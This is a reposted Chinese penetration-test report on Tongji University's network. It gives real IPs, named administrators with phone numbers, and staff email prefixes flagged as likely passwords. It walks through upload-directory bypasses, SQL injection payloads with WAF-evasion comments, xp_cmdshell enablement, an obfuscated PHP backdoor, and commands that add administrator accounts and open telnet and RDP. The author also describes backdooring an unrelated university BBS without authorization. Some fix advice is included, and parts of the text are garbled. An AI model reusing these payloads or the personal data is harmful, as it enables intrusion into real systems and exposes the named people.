2023年7月22日发(作者:)
同济大学渗透测试报告
评估人: Zvall
--------------------------------------------------------------------------------------------------------------------
目标:同济大学 域名:
1.信息收集
收集 网站 子站 信息 为后续渗透做好铺垫
1.1 获取IP: 使用Ping得到IP 202.120.189.3 address:上海 Ping 返回 Request timed out
排除有防火墙 WAF等包过滤的可能
1.2 Whois 查询得到:
网段: 202.120.176.0 - 202.120.191.255
管理员联系:
Cui , Zijun (ZC3-CN)
+86-21-6598-9006
技术人员联系:
Wang , Zhengping (ZW2-CN)
+86 21 65025080 ext. 2840
最后更新记录在 19970627
记录于 19970627
202.120.191.30
202.120.191.208
Mail:收集 222.66.109.6
Mail服务器: 采用是的:网易Coremail Java 写的
用xml的格式进行数据传递 利用xml解析漏洞 可能读取任意文件
不
邮箱收集:
碰过很多用邮箱前辍做密码的.
qiche@
antli8899@
yangdyk@
xjzeng@
tousu@
rsc@
dxwg@
100759@
xinxihua@
3d@
wulirui@
xxgk@
helpdesk@
liushuyan@
gbt@
092783@
子域:
分布这个网段:202.120.189.3-202.120.189.255
C段全部是WEB应用
同服网站:
扫描
nmap -sS -sV -P0 -T4 -O -A -F -sC --version-light -v
80/tcp open http nginx 1.0.8 |_http-methods: No Allow or Public header in OPTIONS response (status code 405)
|_http-title: xE6xACxA2xE8xBFx8ExE8xAExBFxE9x97xAExE5x90x8CxE6x
B5x8ExE5xA4xA7xE5xADxA6xE4xB8xBBxE9xA1xB5
nix 只对外开放一个80 估计是Iptables策略
信息收集的差不多这后 由于主站只开放一个WEB应用
只好转战WEB上来:
1.3 Web服务评估:
1. 查找指纹
提交一个HEAD 返回:
Request sent. 238 bytes
< HTTP/1.1 200 OK
< Server: nginx/1.0.8
< Date: Fri, 10 Aug 2012 09:53:41 GMT
< Content-Type: text/html
< Connection: keep-alive
< Vary: Accept-Encoding
<
200 Request complete
用的nginx 存在一个解析漏洞
/images/logo_/ jpg文件会当php代码执行
测试不存在
本以为主站服务器是Linux
当提交site: inurl:asp|php|jsp||aspx
发现居然是asp 看来服务器是Windows了
应用评估
首先使用Wet工具对镜点进行镜像
WGET -r -a ‘*.html,*htm’ 只包含html文件 因为方便查找HIDDEN字段
用findstr 找并没有找到HIDDEN字段
在SC目录下找到一个asp的网站 测试了也没存在漏洞 还调用了防注入程序
过滤GET POST COOKIE 提交过来的数据 主站无果 旁站也没有可拿到shell的漏洞
现在只好渗透分站了
Ip::202.120.189.3 此站服务器上只有一个站点 初步估计权限会很大 好提权 好吧 就它了
先测试注入
提交单引号:/clwww/?id=65’
居然玩跳转:
爆露了所用WEB程序为:W78cms
如果直接跳转不用 结束程序的话 我们仍可以注入
W78CMS存在一个上传漏洞:
分析下源码:
Sub InitUpload()
sType = UCase(Trim(tring("type")))
sStyleName = Trim(tring("style"))
sCusDir = Trim(tring("cusdir"))
sParamSYFlag = Trim(tring("syflag"))
sCusDir = Replace(sCusDir, "", "/")
If Left(sCusDir, 1) = "/" Or Left(sCusDir, 1) = "." Or Right(sCusDir, 1) = "." Or InStr(sCusDir,
"./") > 0 Or InStr(sCusDir, "/.") > 0 Or InStr(sCusDir, "//") > 0 Then
sCusDir = ""
'这里程序员只考虑到了跨目录的问题
End If
Dim i, aStyleConfig, bValidStyle
bValidStyle = False
For i = 1 To Ubound(aStyle)
aStyleConfig = Split(aStyle(i), "|||")
If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then
bValidStyle = True
Exit For
End If
Next
If bValidStyle = False Then
OutScript("Error('style')")
End If
sBaseUrl = aStyleConfig(19)
nUploadObject = Clng(aStyleConfig(20))
nAutoDir = CLng(aStyleConfig(21))
sUploadDir = aStyleConfig(3)
If sBaseUrl<>"3" Then
If Left(sUploadDir, 1) <> "/" Then
sUploadDir = "../" & sUploadDir
End If
End If
Select Case sBaseUrl
Case "0", "3"
sContentPath = aStyleConfig(23)
Case "1"
sContentPath = RelativePath2RootPath(sUploadDir)
Case "2"
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
End Select
If sBaseUrl<>"3" Then
sUploadDir = h(sUploadDir) ‘这里创建目录
End If
If Right(sUploadDir,1)<>"" Then
sUploadDir = sUploadDir & ""
End If
很明显 程序员只考虑到跨目录的漏洞 没有过滤点号 最后创目录 结合IIS解析漏洞 导致漏洞形成
漏洞修复方法:sCusDir = Replace(sCusDir, ".", "")
漏洞利用:
/clwww/admin/w78eWebEditor/asp/?action=save&type=image&style=popup&cusdir=
这时程序会在uploadfile 目下创建一个名为的文件夹
上传WEB后门发现服务器已被攻陷 有administrator组admin$帐号一枚
并且发现服务器支持JSP 默认是SYSTEM权限
ipconfig /all后发现服务器有4张网卡 其中一张是VirtualBox虚拟网卡
搞这么多张网卡?
我在想为什么网络管理员不搞个交换机堆叠级联 服务器在做单网卡多IP的方式
这样就可以实现单网卡多IP了一下省几张网卡
初步确定是做了VLAN 而且可以相互通信
其实多IP的话 一张网即可搞定
多网段意味着渗透的空间更大
执行net user Administrator命令后发现:管理员的最后登录时间为2012-8-14 7:00
看来服务器管理员经常来服务器 在查看了下administrator的桌面发现个bat
内容为:
ipconfig /release
ipconfig /renew
可以看出服务器的某张网卡采取的是dhcp方式
初步猜测管理员可能不是小白 所以类似进服务器桌面操作看起来有点不可取
但又没办法只好挂上一个VPN加一个跳板 再添加管理帐号
再用 转发端口
网络连接信息:
执行ipconfig /all:后发现有如下网段
网段1: 10.10.203.*
网段2: 192.168.0.*
网段3: 169.254.* DHCP
首先渗透 网段2:
先破系统hash为:gisgp** 由于服务器上装了chrome浏览器所以读读密码吧
例如上网上时表单的密码。不过运气并没有眷故我 没有读出密码
在读其实WEB程序配置文件时发现本机的MSSQL存在一个弱口令 sa/password
由于没有将1433映射到公网所以降低了被渗透的风险
网卡2:ip为 192.168.0.11
在枚举时发现192.168.0.12与192.168.0.11的Ntpass密码一样 果断连接ipc$
又现sql 弱口令一枚 看来这个管理员安全意低
同时网段1 ip 为:
10.10.203.70 OS:windows xp 存在NT弱口令
1. 管理的系统密码通用
2. 同时管理的两台WEB应用服务器 MSSQL 都存在弱口令
假设1433映射到公网只怕早成了肉鸡场了
到了这步 首先利用WMI 给服务器开telnet
服务器是ip: 192.168.0.12 OS:windows 2000
再telnet里 添加帐号 net user Zvall Zvall/add& net localgroup administrators Zvall /add
由于服务器3389没有打开 加之是windows 2000 网上的那些开3389的脚本都要重启
这里我想了一个不用重启的方法出来了 脚本如下:
echo [Components] > c:Zvall
echo TSEnable = on >> c:Zvall
sysocmgr /i:c: /u:c:Zvall /q
执行以上脚本后无需重启即开3389 成功
哎 只有两三台服务器出搞了个domain
由于此段只有,几个IP 只好换网段再渗透:
现在目标定在:192.168.0.250.* 这个段上
信息收集:
收集内网中存活的IP:
Nmap -sP /24
在使用SuperScanner 扫C段常见的应用:
在观察端口时发现 192.168.250.3 服务器上的WEB应用程序属于开源程序BBS程序KBS
KBS bbs 是由C语言+php编写而成 于是下了源码看了看
C代码 源码分析:
PHP_FUNCTION(bbs_upload_add_file)
{
char *filename, *ofilename;
int flen, oflen, ret;
if (zend_parse_parameters(2 TSRMLS_CC, "ss/", &filename, &flen, &ofilename, &oflen) ==
FAILURE) {
WRONG_PARAM_COUNT;
}
if (!flen || !oflen) {
RETURN_ERROR(GENERAL);
}
ret = upload_add_file(filename, ofilename, getSession());
switch (ret) {
case -1:
RETURN_ERROR(GENERAL);
break;
case -2:
RETURN_ERROR(ATTACH_CLIMIT);
break;
case -3:
RETURN_ERROR(ATTACH_INVALIDNAME);
break;
case -4:
RETURN_ERROR(ATTACH_DUPNAME);
break;
case -5:
RETURN_ERROR(GENERAL);
break;
case -6:
RETURN_ERROR(ATTACH_SLIMIT);
break;
default:
RETURN_LONG(0);
break;
}
}
upload_add_file:
int upload_add_file(const char *filename, char *original_filename, session_t *session)
{
int ret = upload_add_file_helper(filename, original_filename, session);
if (ret) unlink(filename);
return(ret);
}
upload_add_file_helper:
static int upload_add_file_helper(const char *filename, char *original_filename, session_t *session)
{
struct ea_attach_info ai[MAXATTACHMENTCOUNT];
char attachdir[MAXPATH], attachfile[MAXPATH];
FILE *fp;
char buf[256];
int i, n, len;
int totalsize=0;
char *pos1, *pos2;
struct stat stat_buf;
n = upload_read_fileinfo(ai, session);
if (n >= MAXATTACHMENTCOUNT)
return -2;
pos1 = strrchr(original_filename, '');
pos2 = strrchr(original_filename, '/');
if (pos1 && pos2) {
if (pos1 < pos2) pos1 = pos2;
original_filename = pos1 + 1;
} else {
pos1 = pos1 ? pos1 : pos2;
if (pos1) original_filename = pos1 + 1;
}
len = strlen(original_filename);
if (!len)
return -3;
if (len > 60) {
original_filename += (len-60);
if (original_filename[-1] & 0x80) {
original_filename++; }
}
filter_upload_filename(original_filename); //过滤跨站字符
for (i=0;i if (strcmp(ai[i].name, original_filename) == 0) return -4; totalsize+=ai[i].size; } if (stat(filename, &stat_buf) != -1 && S_ISREG(stat__mode)) { totalsize += stat__size; } else { return -5; } if (!HAS_PERM(session->currentuser, PERM_SYSOP) MAXATTACHMENTSIZE) return -6; getattachtmppath(attachdir, MAXPATH, session); mkdir(attachdir, 0700); snprintf(attachfile, MAXPATH, "%s/%d_%d", attachdir, rand()%10000); f_mv(filename, attachfile); snprintf(buf, sizeof(buf), "%s %sn", attachfile, original_filename); snprintf(attachfile, MAXPATH, "%s/.index", attachdir); if ((fp = fopen(attachfile, "a")) == NULL) return -1; fprintf(fp, "%s", buf); fclose(fp); return(0); } 整个过程都没有检测上传文件类型,只过滤了一些跨站字符 首先在BBS上注册一个帐号 上传地址为: /?act=add print `ls -la`; ?> 上传这个文件后突然发现访问不了网站了? && totalsize > (int)(time(NULL)%10000), 据以往渗透的经验来看 初步估计192.168.250.* 这个网段有一台WAF 明显是检测 关键字 ,大概过了5分钟 左右 发现可以访问了 又上传一个传的文件 print 'Zvall';?> ,此时WAF又中断了访问 看来是WAF检测了后辍名了。 再上传一个txt 返回正常 为了证明此漏洞的存在,我在网上找了个大学BBS站测试了一下: 成功上传php后门。 漏洞修复方法:使用白名单方式过滤filename ,把 Filepath定义成常量 到了这步只好继续看SuperScanner扫出的结果: APPWEB 这不是嵌入式设备才有的么? 于是访问 192.168.250.254 果然是高级货Juniper SRX3600 大学有钱呀 呵呵 难怪搞这个这么昂贵的设备呀 因为此网段全是WEB应用 现在只好继续查找其它WEB应用: IP:192.168.250.13 用的程序存在 SA 权限 注点一个 数据库为: Mssql2008 提交: /WebSite1/Public/?lastestnewsid=638+and+user>0 返回: “/WebSite1”应用程序中的服务器错误。 在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。 /WebSite1/Public/?lastestnewsid=638+and+(select+IS_SRVROLEMEMBER('sysadmin'))=1-- 返回正常 当前是SA 由于mssql2008默认没有开启xp_cmdshell 所以还得开启它才执行命令 可以用如下语句开启: EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 再利用Pangolin执行命令 再直接来开3389 加管理员 执行REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 执行完后 发现3389端口并没有打开 执行shutdown -r -t 0 返回: 计算机已经锁定而且不使用强制选项无法关机。(1271) 那就只有把管理员注销掉 执行query user 返回 枚举会话名时的错误 0x000006A6 错误[1702]:绑定句柄无效 哎 由于不知道管理员的会话ID 所以无法去注销了 现在只好开启telnet服务了 sc config tlntsvr start= auto net start telnet 再加管理员 此时:192.168.250.13被成功攻陷 WEB程序漏洞修复方法: 程序 注入防护: 对用户传入的值进行强制类型转换 使用正则表达式验证控件对用户传入的值进行长度进行限制 对SQL语句使用命令参数方式 最后的渗透 --突破WAF 在继续查找此网段的WEB应用漏洞时 发现 这个站php写的 存在一个字符型mysql注入点 提交一个单引号后爆出绝对路径 后来发现不能用order by 语句 分析下SQL语句: SELECT * FROM (`tongji_page_info`) WHERE `id` = '111' order by 1 and ''='' ORDER BY `id` DESC 有两个 order by 现在只好依次提交: //page/pagedetail?id=111'/*--*/union+select/*--*/null,null,null,null,null,null,null,null,null,null,null,null/*--*/and/*--*/''=' 返回正常 提交: //page/pagedetail?id=111'/*--*/union/*--*/select/*--*/null,user(),null,null,null,null,null,null,null,null,null,null/*--*/and/*--*/''=' 返回:tongjicase@localhost Mysql版本为:5.0.19-nt 测试读文件权限: 提交: //page/pagedetail?id=1'/*--*/union/*--*/all/*--*/select/*--*/null,concat(0x7e,0x27,load_file(0x433A5C626F6F742E696E69),0x27,0x7e),null,null,null,null,null,null,null,null,null,null/*--*/and/*--*/''=' 成功返回文件 Into outfile Shell 发现失败 之前扫WEB目录时发现有phpmyadmin程序 在提交: //page/pagedetail?id=1111'/*--*/union/*--*/all/*--*/select/*--*/NULL,(select+concat(0x7e,0x27,unhex(Hex(cast(user+as+char))),0x3a,unhex(Hex(cast(password/*--*/as/*--*/char))),0x3a,unhex(Hex(cast(host/*--*/as/*--*/char))),0x27,0x7e)/*--*/from/*--*//*--*/limit/*--*/1,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/*--*/and/*--*/''=' 成功读出mysql root密码 破出其mysql HASH后 登录phpmyadmin 再执行; create table tmp(cmd TEXT); insert into tmp values('');select * from tmp into outfile 'E:'; drop table tmp; 在本地上传文件时 WAF 毫不留情的中断了俺的访问 再执行; create table tmp(cmd TEXT); insert into tmp values('');select * from tmp into 'E:'; drop table tmp; 放在菜刀里执行后 WAF 再次中断了我的访问 在市面上找了一些免杀的一句话 后还是过不了WAF这关呀 于是自己动手写了个小后门: $bar = 's'.'y'.'s'.'t'.'e'.'m'; $gt = '_'.'G'.'E'.'T'; $bar(${$gt}['cmd']);?> $bar = 's'.'y'.'s'.'t'.'e'.'m';$gt = '_'.'G'.'E'.'T';$bar(${$gt}['cmd']);?> reate table tmp(cmd TEXT); insert into tmp values('$bar = 's'.'y'.'s'.'t'.'e'.'m';$gt = '_'.'G'.'E'.'T';$bar(${$gt}['cmd']);?> ');select * from tmp into outfile 'E:'; drop table tmp; 访问:/?cmd=whoami nt authoritysystem SYSTEM权限 在执行/?cmd=dir时发现了一个意思的东东 outfile 之前就有跟 Joe 大神聊天的时候谈过此人 我果断把txt 改了 漏洞成因分析: 导致服务器攻陷的原因终根结底还是WEB应用程序漏洞所致 下面是漏洞程序分析: 类似这样的URL: //page/pagedetail?id=111 都是基于路由模式 调用中的pagedetail方法: function __construct(){ parent::__construct(); $this->load->helper('url'); $this->load->model('Page_Info_Model'); $this->load->helper('UtilClass'); } public function pagedetail(){ $id = Util::getPar('id'); $where = "`id` = '".$id."'"; $info = $this->Page_Info_Model->getInfo($where); //顶级页面 顶级下所有页面 $topinfo = $this->Page_Info_Model->getTopInfo($id); $infos = $this->Page_Info_Model->getChilds($topinfo['id']); $result = array(); $result['info'] = $info; $result['topinfo'] = $topinfo; $result['infos'] = $infos; $this->load->view('pagedetail', $result); } Util类Getpar 方法: class Util{ public static function getPar($name){ if(!empty($_GET[$name])){ return $_GET[$name]; }elseif(!empty($_POST[$name])){ return $_POST[$name]; }elseif(!empty($_SESSION[$name])){ return $_SESSION[$name]; }elseif(!empty($_COOKIE[$name])){ return $_COOKIE[$name]; }else{ return null; } } 直接去获取用户传过来的值无任何过滤 漏洞修复方法: 程序修复: $id = (int)Util::getPar('id'); 2.服务端设置建议 Phpmyadmin 不要放在WEB 根目录 将其改名 给apache mysql 降权 以低权限运行 给WEB 设置访问权限 禁用一个危险函数如:_exec 3389端口映射到公网时。把端口改掉 1.总结 总结下各网段网络管理员的管理范畴中的不善: 网段1 :192.168.250.* 配置不当 2. WEB 应用程序漏洞 网段2: 10.10.203.* 1.无软防与硬防 2.口令存取机制 应程序漏洞 网段3:192.168.0.* 1.无软防 与硬防 2.口令存取机制 通用密码 应用程序漏洞 安全建议: 1.设备安全 1.不同VLAN之间最好隔离. 即使攻击者 攻陷网段1 也无法访问网段2 2.交换机堆叠级联的问题. 如果有两个网关 那么攻击者就可以 以单网卡多IP的方式 渗透其它网段 2.口令存取机制 建议设置强壮的密码, 不要使用QQ 生日 论坛 的帐号 密码做服务器密码 不要使用通用密码 3.软件 系统 定时更新系统补丁 以防 0day 提权漏洞 权限设置 应用防护 由于WEB 应用多. 建议重新部署WAF的检测机制 EOF ---------------------------------------------------------------------------------------------------------------------------
发布者:admin,转转请注明出处:http://www.yc00.com/web/1690000951a299289.html
评论列表(0条)